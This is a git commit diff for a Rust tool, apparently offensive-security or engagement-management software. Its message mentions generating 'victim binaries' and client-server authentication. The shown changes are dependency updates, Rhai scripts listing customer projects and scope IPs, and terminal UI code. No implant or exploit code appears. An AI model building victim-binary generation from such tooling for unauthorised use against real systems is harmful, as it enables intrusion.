added code to generate victim binaries, implemented client -> server
authentication and fixed a bug in the ui where not all output would be displayed.
This commit is contained in:
Generated
+323
-3
@@ -18,6 +18,17 @@ version = "0.1.10"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "366ffbaa4442f4684d91e2cd7c5ea7c4ed8add41959a31447066e279e432b618"
|
checksum = "366ffbaa4442f4684d91e2cd7c5ea7c4ed8add41959a31447066e279e432b618"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures 0.2.17",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ahash"
|
name = "ahash"
|
||||||
version = "0.8.12"
|
version = "0.8.12"
|
||||||
@@ -146,6 +157,17 @@ version = "1.0.103"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3"
|
checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "apple-native-keyring-store"
|
||||||
|
version = "1.0.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2b350bfd03649e07aa05c0a81b3e15934374e585c98204a57e20b9d49f49bb9a"
|
||||||
|
dependencies = [
|
||||||
|
"keyring-core",
|
||||||
|
"log",
|
||||||
|
"security-framework",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "arrayref"
|
name = "arrayref"
|
||||||
version = "0.3.9"
|
version = "0.3.9"
|
||||||
@@ -459,6 +481,15 @@ dependencies = [
|
|||||||
"generic-array",
|
"generic-array",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "block-padding"
|
||||||
|
version = "0.3.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "block2"
|
name = "block2"
|
||||||
version = "0.5.1"
|
version = "0.5.1"
|
||||||
@@ -516,6 +547,12 @@ dependencies = [
|
|||||||
"syn 2.0.117",
|
"syn 2.0.117",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "byteorder"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bytes"
|
name = "bytes"
|
||||||
version = "1.11.1"
|
version = "1.11.1"
|
||||||
@@ -582,6 +619,15 @@ dependencies = [
|
|||||||
"rustversion",
|
"rustversion",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cbc"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cc"
|
name = "cc"
|
||||||
version = "1.2.63"
|
version = "1.2.63"
|
||||||
@@ -606,6 +652,27 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "chacha20"
|
||||||
|
version = "0.10.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures 0.3.0",
|
||||||
|
"rand_core 0.10.1",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clap"
|
||||||
version = "4.6.1"
|
version = "4.6.1"
|
||||||
@@ -876,6 +943,15 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cpufeatures"
|
||||||
|
version = "0.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "crossbeam-deque"
|
name = "crossbeam-deque"
|
||||||
version = "0.8.6"
|
version = "0.8.6"
|
||||||
@@ -1081,6 +1157,7 @@ checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"block-buffer",
|
"block-buffer",
|
||||||
"crypto-common",
|
"crypto-common",
|
||||||
|
"subtle",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1537,6 +1614,7 @@ dependencies = [
|
|||||||
"cfg-if",
|
"cfg-if",
|
||||||
"libc",
|
"libc",
|
||||||
"r-efi 6.0.0",
|
"r-efi 6.0.0",
|
||||||
|
"rand_core 0.10.1",
|
||||||
"wasip2",
|
"wasip2",
|
||||||
"wasip3",
|
"wasip3",
|
||||||
]
|
]
|
||||||
@@ -1715,6 +1793,24 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df"
|
checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hkdf"
|
||||||
|
version = "0.12.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
|
||||||
|
dependencies = [
|
||||||
|
"hmac",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hmac"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
|
||||||
|
dependencies = [
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "iced"
|
name = "iced"
|
||||||
version = "0.14.0"
|
version = "0.14.0"
|
||||||
@@ -1933,6 +2029,16 @@ dependencies = [
|
|||||||
"rustversion",
|
"rustversion",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"block-padding",
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "instability"
|
name = "instability"
|
||||||
version = "0.3.12"
|
version = "0.3.12"
|
||||||
@@ -2064,6 +2170,27 @@ dependencies = [
|
|||||||
"thiserror 2.0.18",
|
"thiserror 2.0.18",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "keyring"
|
||||||
|
version = "4.1.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "72585bb6cc9bc370d1d545b7e23fcce71dfd4461c5e15275e3cf51bdfd9a980a"
|
||||||
|
dependencies = [
|
||||||
|
"apple-native-keyring-store",
|
||||||
|
"keyring-core",
|
||||||
|
"windows-native-keyring-store",
|
||||||
|
"zbus-secret-service-keyring-store",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "keyring-core"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fb1e621458ca9c51aa110bd0339d4751a056b9576bf1253aee1aa560dda0fc9d"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "khronos-egl"
|
name = "khronos-egl"
|
||||||
version = "6.0.0"
|
version = "6.0.0"
|
||||||
@@ -2404,6 +2531,29 @@ dependencies = [
|
|||||||
"minimal-lexical",
|
"minimal-lexical",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ntapi"
|
||||||
|
version = "0.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c3b335231dfd352ffb0f8017f3b6027a4917f7df785ea2143d8af2adc66980ae"
|
||||||
|
dependencies = [
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num"
|
||||||
|
version = "0.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23"
|
||||||
|
dependencies = [
|
||||||
|
"num-bigint",
|
||||||
|
"num-complex",
|
||||||
|
"num-integer",
|
||||||
|
"num-iter",
|
||||||
|
"num-rational",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-bigint"
|
name = "num-bigint"
|
||||||
version = "0.4.8"
|
version = "0.4.8"
|
||||||
@@ -2414,6 +2564,15 @@ dependencies = [
|
|||||||
"num-traits",
|
"num-traits",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-complex"
|
||||||
|
version = "0.4.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "73f88a1307638156682bada9d7604135552957b7818057dcef22705b4d509495"
|
||||||
|
dependencies = [
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-conv"
|
name = "num-conv"
|
||||||
version = "0.2.2"
|
version = "0.2.2"
|
||||||
@@ -2440,6 +2599,27 @@ dependencies = [
|
|||||||
"num-traits",
|
"num-traits",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-iter"
|
||||||
|
version = "0.1.46"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c92800bd69a1eac91786bcfe9da64a897eb72911b8dc3095decbd07429e8048b"
|
||||||
|
dependencies = [
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-rational"
|
||||||
|
version = "0.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824"
|
||||||
|
dependencies = [
|
||||||
|
"num-bigint",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-traits"
|
name = "num-traits"
|
||||||
version = "0.2.19"
|
version = "0.2.19"
|
||||||
@@ -2725,6 +2905,16 @@ dependencies = [
|
|||||||
"objc2-core-foundation",
|
"objc2-core-foundation",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "objc2-io-kit"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "33fafba39597d6dc1fb709123dfa8289d39406734be322956a69f0931c73bb15"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"objc2-core-foundation",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "objc2-io-surface"
|
name = "objc2-io-surface"
|
||||||
version = "0.3.2"
|
version = "0.3.2"
|
||||||
@@ -2760,6 +2950,17 @@ dependencies = [
|
|||||||
"objc2-foundation 0.2.2",
|
"objc2-foundation 0.2.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "objc2-open-directory"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bb82bed227edf5201dfedf072bba4015a33d3d4a98519837295a90f0a23f676d"
|
||||||
|
dependencies = [
|
||||||
|
"objc2 0.6.4",
|
||||||
|
"objc2-core-foundation",
|
||||||
|
"objc2-foundation 0.3.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "objc2-quartz-core"
|
name = "objc2-quartz-core"
|
||||||
version = "0.2.2"
|
version = "0.2.2"
|
||||||
@@ -3032,7 +3233,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d"
|
checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"phf_shared",
|
"phf_shared",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -3223,7 +3424,18 @@ version = "0.8.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a"
|
checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"rand_core",
|
"rand_core 0.6.4",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand"
|
||||||
|
version = "0.10.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c7f5fa3a058cd35567ef9bfa5e75732bee0f9e4c55fa90477bef2dfcdbc4be80"
|
||||||
|
dependencies = [
|
||||||
|
"chacha20",
|
||||||
|
"getrandom 0.4.2",
|
||||||
|
"rand_core 0.10.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -3232,6 +3444,12 @@ version = "0.6.4"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_core"
|
||||||
|
version = "0.10.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "range-alloc"
|
name = "range-alloc"
|
||||||
version = "0.1.5"
|
version = "0.1.5"
|
||||||
@@ -3650,6 +3868,48 @@ dependencies = [
|
|||||||
"tiny-skia",
|
"tiny-skia",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "secret-service"
|
||||||
|
version = "5.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9a62d7f86047af0077255a29494136b9aaaf697c76ff70b8e49cded4e2623c14"
|
||||||
|
dependencies = [
|
||||||
|
"aes",
|
||||||
|
"cbc",
|
||||||
|
"futures-util",
|
||||||
|
"generic-array",
|
||||||
|
"getrandom 0.2.17",
|
||||||
|
"hkdf",
|
||||||
|
"num",
|
||||||
|
"once_cell",
|
||||||
|
"serde",
|
||||||
|
"sha2",
|
||||||
|
"zbus",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "security-framework"
|
||||||
|
version = "3.7.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.12.1",
|
||||||
|
"core-foundation 0.10.1",
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
"security-framework-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "security-framework-sys"
|
||||||
|
version = "2.17.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3"
|
||||||
|
dependencies = [
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "self_cell"
|
name = "self_cell"
|
||||||
version = "1.2.2"
|
version = "1.2.2"
|
||||||
@@ -3723,7 +3983,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
"cpufeatures",
|
"cpufeatures 0.2.17",
|
||||||
"digest",
|
"digest",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -3842,6 +4102,12 @@ dependencies = [
|
|||||||
"version_check",
|
"version_check",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "smawk"
|
||||||
|
version = "0.3.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e8e2fb0f499abb4d162f2bedad68f5ef91a1682b5a03596ddb67efd37768d100"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "smithay-client-toolkit"
|
name = "smithay-client-toolkit"
|
||||||
version = "0.19.2"
|
version = "0.19.2"
|
||||||
@@ -4085,6 +4351,21 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sysinfo"
|
||||||
|
version = "0.39.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d2071df9448915b71c4fe6d25deaf1c22f12bd234f01540b77312bb8e41361e6"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"memchr",
|
||||||
|
"ntapi",
|
||||||
|
"objc2-core-foundation",
|
||||||
|
"objc2-io-kit",
|
||||||
|
"objc2-open-directory",
|
||||||
|
"windows 0.62.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tempfile"
|
name = "tempfile"
|
||||||
version = "3.27.0"
|
version = "3.27.0"
|
||||||
@@ -4180,6 +4461,8 @@ dependencies = [
|
|||||||
"fs_extra",
|
"fs_extra",
|
||||||
"iced",
|
"iced",
|
||||||
"ipnet",
|
"ipnet",
|
||||||
|
"keyring",
|
||||||
|
"rand 0.10.2",
|
||||||
"ratatui",
|
"ratatui",
|
||||||
"rayon",
|
"rayon",
|
||||||
"rcgen",
|
"rcgen",
|
||||||
@@ -4187,11 +4470,24 @@ dependencies = [
|
|||||||
"rustc-hash 2.1.2",
|
"rustc-hash 2.1.2",
|
||||||
"rustls",
|
"rustls",
|
||||||
"rustls-pemfile",
|
"rustls-pemfile",
|
||||||
|
"sysinfo",
|
||||||
|
"textwrap",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-rustls",
|
"tokio-rustls",
|
||||||
"walkdir",
|
"walkdir",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "textwrap"
|
||||||
|
version = "0.16.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057"
|
||||||
|
dependencies = [
|
||||||
|
"smawk",
|
||||||
|
"unicode-linebreak",
|
||||||
|
"unicode-width",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "thin-vec"
|
name = "thin-vec"
|
||||||
version = "0.2.18"
|
version = "0.2.18"
|
||||||
@@ -5239,6 +5535,19 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-native-keyring-store"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "063426e76fdec7438d56bb777f67e318a84a25c707b07e575cb8b78e10c028f8"
|
||||||
|
dependencies = [
|
||||||
|
"byteorder",
|
||||||
|
"keyring-core",
|
||||||
|
"regex",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-numerics"
|
name = "windows-numerics"
|
||||||
version = "0.3.1"
|
version = "0.3.1"
|
||||||
@@ -5673,6 +5982,17 @@ dependencies = [
|
|||||||
"zvariant",
|
"zvariant",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zbus-secret-service-keyring-store"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4ccede190ba363386a24e8021c7f3848393976609ec9f5d1f8c6c09ef37075b4"
|
||||||
|
dependencies = [
|
||||||
|
"keyring-core",
|
||||||
|
"secret-service",
|
||||||
|
"zbus",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "zbus_macros"
|
name = "zbus_macros"
|
||||||
version = "5.16.0"
|
version = "5.16.0"
|
||||||
|
|||||||
@@ -10,6 +10,8 @@ crossterm = "0.29.0"
|
|||||||
fs_extra = "1.3.0"
|
fs_extra = "1.3.0"
|
||||||
iced = { version = "0.14.0", features = ["advanced", "tokio"] }
|
iced = { version = "0.14.0", features = ["advanced", "tokio"] }
|
||||||
ipnet = "2.12.0"
|
ipnet = "2.12.0"
|
||||||
|
keyring = "4.1.6"
|
||||||
|
rand = "0.10.2"
|
||||||
ratatui = "0.30.0"
|
ratatui = "0.30.0"
|
||||||
rayon = "1.12.0"
|
rayon = "1.12.0"
|
||||||
rcgen = "0.14.8"
|
rcgen = "0.14.8"
|
||||||
@@ -17,6 +19,8 @@ rhai = { version = "1.24.0", features = ["metadata", "sync"] }
|
|||||||
rustc-hash = "2.1.2"
|
rustc-hash = "2.1.2"
|
||||||
rustls = "0.23.43"
|
rustls = "0.23.43"
|
||||||
rustls-pemfile = "2.2.0"
|
rustls-pemfile = "2.2.0"
|
||||||
|
sysinfo = "0.39.6"
|
||||||
|
textwrap = "0.16.2"
|
||||||
tokio = { version = "1.52.3", features = ["full"] }
|
tokio = { version = "1.52.3", features = ["full"] }
|
||||||
tokio-rustls = "0.26.4"
|
tokio-rustls = "0.26.4"
|
||||||
walkdir = "2.5.0"
|
walkdir = "2.5.0"
|
||||||
|
|||||||
@@ -1,23 +1,25 @@
|
|||||||
let lines = [];
|
fn fill_space(text, len) {
|
||||||
|
let s = text.to_string();
|
||||||
|
while s.len < len {
|
||||||
|
s += " ";
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
let lines = [];
|
||||||
lines.push("==================================================");
|
lines.push("==================================================");
|
||||||
lines.push(" TETANUS SYSTEM INFORMATION");
|
lines.push(" TETANUS SYSTEM INFORMATION");
|
||||||
lines.push("==================================================");
|
lines.push("==================================================");
|
||||||
|
|
||||||
// 1. Format Config Map (Settings)
|
|
||||||
lines.push("");
|
lines.push("");
|
||||||
lines.push("[Settings]");
|
lines.push("[Settings]");
|
||||||
let keys = config.keys();
|
let keys = config.keys();
|
||||||
for k in keys {
|
for k in keys {
|
||||||
lines.push("- " + k + ": " + config[k]);
|
lines.push("- " + k + ": " + config[k]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. Format Project List
|
|
||||||
lines.push("");
|
lines.push("");
|
||||||
lines.push("[Active Projects]");
|
lines.push("[Active Projects]");
|
||||||
lines.push(fill_space("Customer Name", 20) + " | " + fill_space("Project Name", 20) + " | Stage");
|
lines.push(fill_space("Customer Name", 20) + " | " + fill_space("Project Name", 20) + " | Stage");
|
||||||
lines.push("--------------------------------------------------");
|
lines.push("--------------------------------------------------");
|
||||||
|
|
||||||
for p in projects {
|
for p in projects {
|
||||||
let customer = p.org_name;
|
let customer = p.org_name;
|
||||||
let name = p.name;
|
let name = p.name;
|
||||||
@@ -27,17 +29,5 @@ for p in projects {
|
|||||||
}
|
}
|
||||||
lines.push(fill_space(customer, 20) + " | " + fill_space(name, 20) + " | " + stage);
|
lines.push(fill_space(customer, 20) + " | " + fill_space(name, 20) + " | " + stage);
|
||||||
}
|
}
|
||||||
|
|
||||||
lines.push("--------------------------------------------------");
|
lines.push("--------------------------------------------------");
|
||||||
|
|
||||||
// Return the array of lines back to Rust
|
|
||||||
lines;
|
lines;
|
||||||
|
|
||||||
// Helper function for padding spaces
|
|
||||||
fn fill_space(text, len) {
|
|
||||||
let s = text.to_string();
|
|
||||||
while s.len < len {
|
|
||||||
s += " ";
|
|
||||||
}
|
|
||||||
return s;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
let ips = [];
|
let ips = [];
|
||||||
let scope_path = find_scope_file(project.notes);
|
let scope_path = find_file(project.notes, "scope");
|
||||||
let scope_text = open_file(scope_path);
|
let scope_text = open_file(scope_path);
|
||||||
for line in scope_text.split("\n"){
|
for line in scope_text.split("\n"){
|
||||||
if line.contains("|") && !line.contains("//"){
|
if line.contains("|") && !line.contains("//"){
|
||||||
|
|||||||
+134
-38
@@ -82,6 +82,7 @@ pub fn run_tui(
|
|||||||
let mut history_index = state.history.len();
|
let mut history_index = state.history.len();
|
||||||
let mut handles = Vec::new();
|
let mut handles = Vec::new();
|
||||||
loop {
|
loop {
|
||||||
|
let mut text_area_width = 0;
|
||||||
terminal.draw(|f| {
|
terminal.draw(|f| {
|
||||||
let main_chunks = Layout::default()
|
let main_chunks = Layout::default()
|
||||||
.direction(Direction::Vertical)
|
.direction(Direction::Vertical)
|
||||||
@@ -95,6 +96,7 @@ pub fn run_tui(
|
|||||||
Constraint::Percentage(35),
|
Constraint::Percentage(35),
|
||||||
])
|
])
|
||||||
.split(main_chunks[0]);
|
.split(main_chunks[0]);
|
||||||
|
text_area_width = top_chunks[1].width.saturating_sub(2);
|
||||||
let projects: Vec<ListItem> = state
|
let projects: Vec<ListItem> = state
|
||||||
.projects
|
.projects
|
||||||
.iter()
|
.iter()
|
||||||
@@ -194,12 +196,25 @@ pub fn run_tui(
|
|||||||
.scroll((state.info_scroll, 0))
|
.scroll((state.info_scroll, 0))
|
||||||
.wrap(ratatui::widgets::Wrap { trim: false });
|
.wrap(ratatui::widgets::Wrap { trim: false });
|
||||||
f.render_widget(info_paragraph, top_chunks[2]);
|
f.render_widget(info_paragraph, top_chunks[2]);
|
||||||
let output_lines: Vec<Line> = state
|
let mut output_lines = Vec::new();
|
||||||
.output
|
state.output.iter().for_each(|text| {
|
||||||
.iter()
|
let line = Line::from(Span::raw(text));
|
||||||
.map(|text| Line::from(Span::raw(text)))
|
